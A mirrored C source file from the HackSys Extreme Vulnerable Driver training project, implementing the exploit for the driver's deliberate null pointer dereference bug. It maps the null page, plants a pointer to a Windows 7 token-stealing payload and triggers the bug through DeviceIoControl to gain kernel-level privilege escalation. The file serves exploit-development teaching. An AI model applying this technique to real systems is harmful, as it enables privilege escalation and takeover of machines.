mirror of
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
synced 2026-06-08 14:31:02 +00:00
HackSys Team
121 lines
4.4 KiB
C
121 lines
4.4 KiB
C
/*++
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## ## ######## ## ## ########
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## ## ## ## ## ## ##
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######### ###### ## ## ## ##
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HackSys Extreme Vulnerable Driver Exploit
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Author : Ashfaq Ansari
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Contact: ashfaq[at]hacksys[dot]io
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Website: https://hacksys.io/
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Copyright (C) 2021-2023 HackSys Inc. All rights reserved.
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Copyright (C) 2015-2020 Payatu Software Labs LLP. All rights reserved.
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This program is free software: you can redistribute it and/or modify it under the terms of
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the GNU General Public License as published by the Free Software Foundation, either version
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3 of the License, or (at your option) any later version.
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This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
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without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
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See the GNU General Public License for more details.
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You should have received a copy of the GNU General Public License along with this program.
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If not, see <http://www.gnu.org/licenses/>.
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THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
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LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
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ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT,
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INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
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TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
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INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
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LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
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THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
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See the file 'LICENSE' for complete copying permission.
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Module Name:
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NullPointerDereference.c
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Abstract:
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This module implements the exploit for Null Pointer
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Dereference Vulnerability implemented in HackSys Extreme
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Vulnerable Driver.
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--*/
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#include "NullPointerDereference.h"
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DWORD WINAPI NullPointerDereferenceThread(LPVOID Parameter) {
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HANDLE hFile = NULL;
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ULONG BytesReturned;
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ULONG MagicValue = 0xBAADF00D;
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PVOID NullPointerPlus4 = NULL;
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PVOID NullPageBaseAddress = NULL;
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LPCSTR FileName = (LPCSTR)DEVICE_NAME;
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PVOID EopPayload = &TokenStealingPayloadWin7Generic;
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__try {
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// Get the device handle
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DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
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DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);
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hFile = GetDeviceHandle(FileName);
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if (hFile == INVALID_HANDLE_VALUE) {
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DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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else {
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DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
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}
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DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");
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DEBUG_INFO("\t\t[+] Mapping Null Page\n");
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if (!MapNullPage()) {
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DEBUG_ERROR("\t\t[-] Failed Mapping Null Page: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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DEBUG_INFO("\t\t[+] Preparing Null Page Memory Layout\n");
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NullPointerPlus4 = (PVOID)((ULONG)NullPageBaseAddress + 0x4);
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// Now set the function pointer
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*(PULONG)NullPointerPlus4 = (ULONG)EopPayload;
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DEBUG_INFO("\t\t\t[+] NullPage+0x4 Value: 0x%p\n", *(PULONG)NullPointerPlus4);
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DEBUG_INFO("\t\t\t[+] NullPage+0x4 Address: 0x%p\n", NullPointerPlus4);
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DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);
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DEBUG_MESSAGE("\t[+] Triggering Null Pointer Dereference\n");
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OutputDebugString("****************Kernel Mode****************\n");
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DeviceIoControl(hFile,
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HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
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(LPVOID)&MagicValue,
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0,
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NULL,
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0,
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&BytesReturned,
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NULL);
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OutputDebugString("****************Kernel Mode****************\n");
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}
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__except (EXCEPTION_EXECUTE_HANDLER) {
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DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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return EXIT_SUCCESS;
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}
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